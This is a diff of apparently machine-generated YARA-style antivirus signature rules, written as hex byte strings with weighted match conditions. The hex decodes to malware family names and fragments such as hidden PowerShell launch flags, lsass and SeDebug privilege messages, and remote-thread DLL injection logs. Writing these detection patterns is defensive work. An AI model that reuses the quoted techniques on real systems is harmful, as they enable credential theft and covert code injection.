1)*19521+(#a_00_11 & 1)*25701+(#a_00_13 & 1)*116+(#a_00_14 & 1)*65+(#a_5d_15 & 1)*23297+(#a_65_16 & 1)*29555) >=4 } -rule _InfrastructureShared_11968{ +rule _InfrastructureShared_12753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -132596,7 +141442,7 @@ rule _InfrastructureShared_11968{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*27950+(#a_49_2 & 1)*19770+(#a_72_4 & 1)*385) >=5 } -rule _InfrastructureShared_11969{ +rule _InfrastructureShared_12754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -132610,7 +141456,7 @@ rule _InfrastructureShared_11969{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_ac_4 & 1)*0) >=5 } -rule _InfrastructureShared_11970{ +rule _InfrastructureShared_12755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -132618,24 +141464,39 @@ rule _InfrastructureShared_11970{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 45 56 59 21 4d 54 42 00 01 00 25 01 24 39 33 36 30 38 36 63 63 2d 61 65 36 35 2d 34 31 35 34 2d 61 66 39 38 2d 38 32 64 34 62 61 39 66 65 37 35 34 01 00 13 01 54 72 } //16675 $a_66_1 = {72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 18 01 4d 44 35 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 00 00 78 ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 } //28257 $a_6d_2 = {6c 6c 41 67 65 6e 74 2e 41 21 4d 54 42 00 01 00 11 01 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 4e 61 6d 65 01 00 09 01 53 61 6e 64 61 6c 6c 65 64 01 00 28 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 69 00 63 00 61 00 6e 00 68 00 61 00 7a 00 69 00 70 } //12108 - $a_00_4 = {01 00 13 01 52 65 70 6c 79 41 63 74 69 6f 6e 30 68 74 74 70 3a 2f 2f 01 00 0e 01 41 63 74 69 6f 6e 28 68 74 74 70 3a 2f 2f 00 00 78 ac 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 47 34 39 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 } //111 + $a_00_4 = {01 00 13 01 52 65 70 6c 79 41 63 74 69 6f 6e 30 68 74 74 70 3a 2f 2f 01 00 0e 01 41 63 74 69 6f 6e 28 68 74 74 70 3a 2f 2f 00 00 78 ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 50 57 53 3a 57 69 6e 33 32 2f 54 6f 74 65 72 6e 6f 2e 41 00 01 00 20 01 5b 2b 5d 20 47 6f 74 20 53 65 44 65 62 75 67 50 72 6f 67 72 61 6d 20 } //111 condition: ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*28257+(#a_6d_2 & 1)*12108+(#a_00_4 & 1)*111) >=5 } -rule _InfrastructureShared_11971{ +rule _InfrastructureShared_12756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 41 67 65 6e 74 2e 41 21 4d 54 42 00 01 00 11 01 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 4e 61 6d 65 01 00 09 01 53 61 6e 64 61 6c 6c 65 64 01 00 28 } //16675 - $a_00_2 = {3a 00 2f 00 2f 00 69 00 63 00 61 00 6e 00 68 00 61 00 7a 00 69 00 70 00 2e 00 63 00 6f 00 6d 00 01 00 13 01 52 65 70 6c 79 41 63 74 69 6f 6e 30 68 74 74 70 3a 2f 2f 01 00 0e 01 41 63 74 69 6f 6e 28 68 74 74 70 3a 2f 2f 00 00 78 ac 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 } //116 - $a_41_3 = {4d 47 34 39 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 63 } //24940 + $a_00_2 = {3a 00 2f 00 2f 00 69 00 63 00 61 00 6e 00 68 00 61 00 7a 00 69 00 70 00 2e 00 63 00 6f 00 6d 00 01 00 13 01 52 65 70 6c 79 41 63 74 69 6f 6e 30 68 74 74 70 3a 2f 2f 01 00 0e 01 41 63 74 69 6f 6e 28 68 74 74 70 3a 2f 2f 00 00 78 ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 50 57 53 3a 57 69 6e 33 32 2f 54 6f 74 65 72 6e 6f 2e } //116 + $a_00_3 = {20 } //65 + $a_5d_4 = {47 6f 74 20 53 65 44 65 62 75 67 50 72 6f 67 72 61 6d 20 50 72 69 76 69 6c 65 67 65 01 00 16 01 5b 2b 5d 20 47 6f 74 20 6c 73 61 } //23297 condition: - ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_41_3 & 1)*24940) >=5 + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_3 & 1)*65+(#a_5d_4 & 1)*23297) >=5 } -rule _InfrastructureShared_11972{ +rule _InfrastructureShared_12757{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {45 52 3a 50 57 53 3a 57 69 6e 33 32 2f 54 6f 74 65 72 6e 6f 2e 41 00 01 00 20 01 5b 2b 5d 20 47 6f 74 20 53 65 44 65 62 75 67 50 72 6f 67 72 61 6d 20 50 72 69 76 69 6c 65 67 65 01 00 16 01 5b 2b 5d 20 47 6f 74 20 6c 73 61 73 73 } //16675 + $a_65_1 = {50 49 44 21 01 00 12 01 5b 2a 5d 20 57 72 69 74 69 6e 67 20 4d 65 6d 6f 72 79 01 00 1a 01 5b 2a 5d 20 43 72 65 61 74 69 6e 67 20 52 65 6d 6f 74 65 20 54 68 72 65 61 64 01 00 11 01 5b 2b 5d 20 44 4c 4c 20 49 6e 6a 65 63 74 65 64 21 00 00 78 ac 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 } //25902 + $a_34_2 = {21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 0b 81 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 2d 01 4e 00 35 00 34 00 56 00 } //19789 + $a_00_3 = {48 00 37 00 38 00 47 00 00 19 41 00 35 00 47 00 48 00 41 00 32 00 38 00 56 00 50 00 45 00 47 00 41 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 ac 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 } //72 + $a_53_4 = {65 61 6c 65 72 2e 54 47 53 32 21 4d 54 42 00 01 00 25 81 01 24 66 38 33 65 36 64 31 64 2d 38 64 61 61 2d 34 33 35 37 2d 38 36 61 32 2d 62 39 } //19529 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25902+(#a_34_2 & 1)*19789+(#a_00_3 & 1)*72+(#a_53_4 & 1)*19529) >=5 + +} +rule _InfrastructureShared_12758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -132648,7 +141509,7 @@ rule _InfrastructureShared_11972{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_00_3 & 1)*5+(#a_3a_4 & 1)*21587) >=5 } -rule _InfrastructureShared_11973{ +rule _InfrastructureShared_12759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -132661,7 +141522,7 @@ rule _InfrastructureShared_11973{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*14641+(#a_65_2 & 1)*26960+(#a_6d_4 & 1)*29441) >=5 } -rule _InfrastructureShared_11974{ +rule _InfrastructureShared_12760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -132674,7 +141535,7 @@ rule _InfrastructureShared_11974{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*26984+(#a_63_3 & 1)*25601+(#a_68_4 & 1)*29543) >=5 } -rule _InfrastructureShared_11975{ +rule _InfrastructureShared_12761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -132688,7 +141549,7 @@ rule _InfrastructureShared_11975{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26997+(#a_72_2 & 1)*25697+(#a_70_3 & 1)*29287+(#a_00_4 & 1)*28018) >=5 } -rule _InfrastructureShared_11976{ +rule _InfrastructureShared_12762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -132700,34 +141561,44 @@ rule _InfrastructureShared_11976{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5120+(#a_72_2 & 1)*18034) >=5 } -rule _InfrastructureShared_11977{ +rule _InfrastructureShared_12763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 4b 53 35 36 00 01 00 0b 80 01 57 65 61 74 68 65 72 46 6f 72 6d 01 00 0e 80 01 52 65 63 68 65 63 6b 57 65 61 74 68 65 72 01 00 0d 80 01 52 65 6e 64 65 72 57 } //16675 - $a_68_1 = {72 01 00 12 80 01 67 65 74 5f 52 65 63 68 65 63 6b 57 65 61 74 68 65 72 01 00 0f 80 01 53 68 6f 77 57 65 61 74 68 65 72 46 6f 72 6d 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 ac 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 75 74 6f 48 4b 2e 47 } //24933 - $a_54_2 = {00 05 00 42 01 4c 6f 6f 70 0a 7b 0a 49 66 20 28 20 57 69 6e 43 6c 6f 73 65 20 3c 20 52 75 6e 57 61 69 74 20 29 0a 7b 0a 4c 6f 6f 70 0a 7b 0a 49 66 20 28 20 25 41 5f 53 63 72 69 70 74 44 69 72 25 20 3c 20 52 75 6e 01 00 39 01 20 46 } //8528 - $a_44_3 = {6c 65 74 65 20 29 0a 7b 0a 7d 0a 49 66 20 28 20 52 65 67 52 65 61 64 20 3c 20 45 6e 76 47 65 74 20 29 0a 7b 0a 7d 0a 49 66 20 28 20 44 6c 6c 43 61 6c 00 00 78 ac 00 00 06 00 06 00 05 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 54 75 6b 72 69 6e 61 2e 45 21 64 68 61 00 02 00 1c 01 } //27753 - $a_74_4 = {6c 6c 52 6f 75 74 69 6e 65 57 00 53 74 61 72 74 52 6f 75 74 69 6e 65 01 00 1e 01 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 02 00 18 01 2f 73 63 72 69 70 74 73 2f 6d 2f 71 75 65 72 79 2e 70 68 70 3f 69 64 3d 01 00 14 01 61 00 76 00 61 00 73 00 74 00 00 00 41 00 56 00 47 00 00 00 02 00 07 01 6a 00 } //28233 - $a_fd_5 = {00 00 78 ac 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 46 69 72 65 45 79 65 2f 41 50 54 5f 48 61 63 6b 54 6f 6f 6c 5f 4d 53 49 4c 5f 46 4c 55 46 46 59 5f 32 00 01 00 08 01 00 41 73 6b 74 67 74 00 01 00 0c 01 00 4b 65 72 62 65 72 6f 61 73 74 00 01 00 10 01 00 48 61 72 76 65 73 74 43 6f 6d 6d 61 6e 64 00 01 00 12 01 00 45 6e 75 6d 65 72 61 74 65 54 69 63 6b 65 74 73 00 01 00 18 01 5b 00 2a 00 5d 00 20 00 41 00 63 00 74 00 69 00 6f 00 6e 00 3a 00 20 00 01 00 11 01 00 46 6c 75 66 66 79 2e 43 6f 6d 6d 61 6e 64 73 00 00 00 78 ac 00 00 06 00 06 00 06 00 21 23 48 53 54 } //360 - $a_53_6 = {4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 54 21 4d 54 42 00 01 00 12 01 56 37 6a 66 49 39 46 74 39 6d 58 67 52 65 37 45 35 51 01 00 12 01 78 6d 54 6b 50 31 36 42 64 74 42 4a 49 6e 5a 4d 6b 72 01 00 12 01 53 6e 6d 56 73 58 6b 73 77 } //14930 + $a_68_1 = {72 01 00 12 80 01 67 65 74 5f 52 65 63 68 65 63 6b 57 65 61 74 68 65 72 01 00 0f 80 01 53 68 6f 77 57 65 61 74 68 65 72 46 6f 72 6d 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 ac 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e } //24933 + $a_41_2 = {4d 54 42 00 05 00 69 03 0a 0a 06 20 00 01 00 00 6f 90 01 01 00 00 0a 06 03 6f 90 01 01 00 00 0a 06 04 6f 90 01 01 00 00 0a 73 90 01 01 00 00 0a 0b 07 06 6f 90 01 01 00 00 0a 17 73 90 01 01 00 00 0a 0c 08 02 16 02 8e 69 6f 90 01 01 00 00 0a 08 6f 90 } //23105 + $a_90_4 = {01 00 00 0a 0d de 23 08 2c 06 08 6f 90 01 01 00 00 0a dc 90 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 ac 00 00 06 00 06 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 46 65 64 6f 72 61 2e 41 00 01 00 1c 01 73 79 73 74 65 6d 2e 6e 65 74 2e 73 6f 63 6b 65 74 73 2e 74 63 70 63 6c 69 65 6e } //1802 + $a_74_6 = {6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 2e 50 72 6f 63 65 73 73 01 00 19 01 53 74 61 72 74 49 6e 66 6f 2e 55 73 65 53 68 65 6c 6c 45 78 65 63 75 74 65 01 00 1c 01 70 6f 77 65 72 73 68 65 6c 6c 20 2d 77 20 68 69 64 64 65 6e 20 2d 6e 6f 70 20 2d 63 03 00 09 01 48 61 74 53 70 6c 6f 69 74 00 00 78 ac 00 00 06 00 06 00 05 00 21 23 54 45 4c 3a 42 61 } //31059 condition: - ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*24933+(#a_54_2 & 1)*8528+(#a_44_3 & 1)*27753+(#a_74_4 & 1)*28233+(#a_fd_5 & 1)*360+(#a_53_6 & 1)*14930) >=5 + ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*24933+(#a_41_2 & 1)*23105+(#a_90_4 & 1)*1802+(#a_74_6 & 1)*31059) >=5 } -rule _InfrastructureShared_11978{ +rule _InfrastructureShared_12764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 75 74 6f 48 4b 2e 47 50 21 4d 54 42 00 05 00 42 01 4c 6f 6f 70 0a 7b 0a 49 66 20 28 20 57 69 6e 43 6c 6f 73 65 20 3c 20 52 75 6e 57 61 69 74 20 29 0a 7b 0a 4c 6f 6f } //21539 - $a_0a_1 = {49 66 20 28 20 25 41 5f 53 63 72 69 70 74 44 69 72 25 20 3c 20 52 75 6e 01 00 39 01 20 46 69 6c 65 44 65 6c 65 74 65 20 29 0a 7b 0a 7d 0a 49 66 20 28 20 52 65 67 52 65 61 64 20 3c 20 45 6e 76 47 65 74 20 29 0a 7b 0a 7d 0a 49 66 20 28 20 44 6c 6c 43 61 6c 00 00 78 ac 00 00 06 00 06 00 05 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 54 75 6b 72 69 } //2672 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 41 5a 53 41 21 4d 54 42 00 05 00 69 03 0a 0a 06 20 00 01 00 00 6f 90 01 01 00 00 0a 06 03 6f 90 01 01 00 00 0a 06 04 6f 90 01 01 00 00 0a 73 90 } //21539 condition: - ((#a_4c_0 & 1)*21539+(#a_0a_1 & 1)*2672) >=6 + ((#a_4c_0 & 1)*21539) >=6 } -rule _InfrastructureShared_11979{ +rule _InfrastructureShared_12765{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 46 65 64 6f 72 61 2e 41 00 01 00 1c 01 73 79 73 74 65 6d 2e 6e 65 74 2e 73 6f 63 6b 65 74 73 2e 74 63 70 63 6c 69 65 6e 74 01 00 1a 01 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 } //21283 + $a_6f_1 = {65 73 73 01 00 19 01 53 74 61 72 74 49 6e 66 6f 2e 55 73 65 53 68 65 6c 6c 45 78 65 63 75 74 65 01 00 1c 01 70 6f 77 65 72 73 68 65 6c 6c 20 2d 77 20 68 69 64 64 65 6e 20 2d 6e 6f 70 20 2d 63 03 00 09 01 48 61 74 53 70 6c 6f 69 74 00 00 78 ac 00 00 06 00 06 00 05 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 54 75 6b 72 } //20526 + $a_2e_2 = {21 64 68 61 00 02 00 1c 01 49 6e 73 74 61 6c 6c 52 6f 75 74 69 6e 65 57 00 53 74 61 72 74 52 6f 75 74 69 6e 65 01 00 1e 01 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 02 00 18 01 2f 73 63 72 69 70 74 73 2f 6d 2f 71 75 65 72 79 2e 70 68 70 3f 69 } //28265 + $a_00_3 = {14 } //15716 + condition: + ((#a_46_0 & 1)*21283+(#a_6f_1 & 1)*20526+(#a_2e_2 & 1)*28265+(#a_00_3 & 1)*15716) >=6 + +} +rule _InfrastructureShared_12766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -132740,7 +141611,7 @@ rule _InfrastructureShared_11979{ ((#a_4c_0 & 1)*21539+(#a_2a_1 & 1)*21571+(#a_2f_2 & 1)*12147+(#a_74_3 & 1)*29505) >=6 } -rule _InfrastructureShared_11980{ +rule _InfrastructureShared_12767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -132754,7 +141625,7 @@ rule _InfrastructureShared_11980{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*29541+(#a_56_3 & 1)*4608+(#a_46_4 & 1)*18790+(#a_74_5 & 1)*18177) >=6 } -rule _InfrastructureShared_11981{ +rule _InfrastructureShared_12768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -132769,7 +141640,7 @@ rule _InfrastructureShared_11981{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*31052+(#a_31_2 & 1)*22349+(#a_65_3 & 1)*28257+(#a_49_4 & 1)*19770+(#a_4a_5 & 1)*17985) >=6 } -rule _InfrastructureShared_11982{ +rule _InfrastructureShared_12769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -132784,7 +141655,7 @@ rule _InfrastructureShared_11982{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_ac_4 & 1)*0+(#a_65_5 & 1)*28018) >=6 } -rule _InfrastructureShared_11983{ +rule _InfrastructureShared_12770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -132799,7 +141670,7 @@ rule _InfrastructureShared_11983{ ((#a_54_0 & 1)*18467+(#a_4a_1 & 1)*23041+(#a_61_2 & 1)*28524+(#a_61_3 & 1)*29301+(#a_63_4 & 1)*27680+(#a_54_5 & 1)*28521) >=6 } -rule _InfrastructureShared_11984{ +rule _InfrastructureShared_12771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -132814,7 +141685,7 @@ rule _InfrastructureShared_11984{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29554+(#a_6e_2 & 1)*385+(#a_6c_3 & 1)*25697+(#a_73_4 & 1)*25971+(#a_53_5 & 1)*14958) >=6 } -rule _InfrastructureShared_11985{ +rule _InfrastructureShared_12772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -132828,7 +141699,7 @@ rule _InfrastructureShared_11985{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28718+(#a_6f_3 & 1)*11008+(#a_08_4 & 1)*2560+(#a_0f_5 & 1)*767) >=6 } -rule _InfrastructureShared_11986{ +rule _InfrastructureShared_12773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -132841,7 +141712,7 @@ rule _InfrastructureShared_11986{ ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*-241+(#a_65_2 & 1)*24910+(#a_73_3 & 1)*-32751) >=7 } -rule _InfrastructureShared_11987{ +rule _InfrastructureShared_12774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -132855,7 +141726,7 @@ rule _InfrastructureShared_11987{ ((#a_46_0 & 1)*16675+(#a_c7_1 & 1)*-1971+(#a_57_2 & 1)*28001+(#a_6e_3 & 1)*26995+(#a_30_4 & 1)*19795) >=7 } -rule _InfrastructureShared_11988{ +rule _InfrastructureShared_12775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -132863,30 +141734,47 @@ rule _InfrastructureShared_11988{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 54 21 4d 54 42 00 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 01 00 05 80 01 46 6c 6f 72 61 01 00 1b 80 01 53 6d 61 72 74 46 6f 72 6d 61 74 2e 53 6d 61 72 74 45 78 74 65 } //18467 $a_6f_1 = {73 01 00 11 80 01 73 73 73 61 73 53 41 44 41 53 44 41 44 41 44 73 73 01 00 07 80 01 47 65 74 54 79 70 65 01 00 06 80 01 58 41 53 58 41 58 01 00 13 80 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 00 00 78 ac 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e } //29550 $a_73_2 = {61 2e 53 4d 32 30 30 37 32 32 31 21 4d 54 42 00 01 00 16 01 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 01 00 12 01 44 65 66 65 72 72 65 64 44 69 73 70 6f 73 61 62 6c 65 01 00 12 01 43 61 74 65 67 6f 72 79 4d 65 6d 62 65 72 73 68 69 70 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 } //21620 - $a_6f_3 = {72 72 61 79 01 00 08 01 47 65 74 54 79 70 65 73 01 00 0a 01 47 5a 69 70 53 74 72 65 61 6d 00 00 78 ac 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 72 61 63 6b 21 4d 54 42 2e 4d 4b 00 01 00 08 80 01 75 73 65 } //263 - $a_6d_4 = {01 00 08 80 01 50 61 73 73 77 6f 72 64 01 00 0a 80 01 4f 4e 41 43 54 49 56 41 54 45 01 00 0c 80 01 4f 4e 44 45 41 43 54 49 56 41 54 45 01 00 06 80 01 72 65 70 61 63 6b 01 00 11 80 01 4c 52 45 50 41 43 4b 53 53 49 54 45 43 4c 49 43 4b 01 00 0b 80 01 6c 72 65 70 61 63 6b 73 2e 72 75 01 00 12 } //28274 - $a_74_5 = {70 3a 2f 2f 6c 72 65 70 61 63 6b 2e 63 6f 6d 00 00 78 ac 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 41 30 34 21 4d 54 42 00 01 00 25 01 24 42 } //384 - $a_36_6 = {42 35 2d 45 33 37 45 2d 34 30 37 32 2d 41 45 37 36 2d 30 33 37 41 30 34 35 36 36 42 33 44 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 01 00 08 01 54 6f 42 69 74 6d 61 70 } //16951 + $a_6f_3 = {72 72 61 79 01 00 08 01 47 65 74 54 79 70 65 73 01 00 0a 01 47 5a 69 70 53 74 72 65 61 6d 00 00 78 ac 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4e 31 21 4d 54 42 00 01 00 13 81 01 73 69 6b 6b 65 72 } //263 + $a_73_4 = {66 64 6b 6e 69 6e 67 73 01 00 10 81 01 66 6f 72 66 61 74 6e 69 6e 67 73 62 72 75 64 73 01 00 0f 81 01 67 72 65 61 73 65 70 72 6f 6f 66 6e 65 73 73 01 00 0d 81 01 73 75 6c 66 75 72 79 6c 73 2e 65 78 65 01 00 11 81 01 6b 6f 6d 70 72 6f 6d 69 74 74 79 64 72 2e 65 78 65 01 00 08 81 01 74 61 72 6d 65 6e } //25960 + $a_00_5 = {0a } //29541 + $a_72_6 = {61 74 69 63 69 73 6d 00 00 78 ac 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 72 61 63 6b 21 4d 54 42 2e 4d 4b 00 01 00 08 80 01 75 73 65 72 6e 61 6d 65 01 00 08 80 01 50 61 73 73 77 6f 72 64 01 00 0a 80 01 4f 4e 41 43 54 49 56 41 54 45 01 00 0c 80 01 4f 4e } //385 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29550+(#a_73_2 & 1)*21620+(#a_6f_3 & 1)*263+(#a_6d_4 & 1)*28274+(#a_74_5 & 1)*384+(#a_36_6 & 1)*16951) >=7 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29550+(#a_73_2 & 1)*21620+(#a_6f_3 & 1)*263+(#a_73_4 & 1)*25960+(#a_00_5 & 1)*29541+(#a_72_6 & 1)*385) >=7 } -rule _InfrastructureShared_11989{ +rule _InfrastructureShared_12776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 30 30 37 32 32 31 21 4d 54 42 00 01 00 16 01 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 01 00 12 01 44 65 66 65 72 72 65 64 44 69 73 70 6f 73 61 } //18467 - $a_01_1 = {00 12 01 43 61 74 65 67 6f 72 79 4d 65 6d 62 65 72 73 68 69 70 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 07 01 54 6f 41 72 72 61 79 01 00 08 01 47 65 74 54 79 70 65 73 01 00 0a 01 47 5a 69 70 53 74 72 65 61 6d 00 00 78 ac 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e } //27746 - $a_43_2 = {61 63 6b 21 4d 54 42 2e 4d 4b 00 01 00 08 80 01 75 73 65 72 6e 61 6d 65 01 00 08 80 01 50 61 73 73 77 6f 72 64 01 00 0a 80 01 4f 4e 41 43 54 } //12851 - $a_54_3 = {01 00 0c 80 01 4f 4e 44 45 41 43 54 49 56 41 54 45 01 00 06 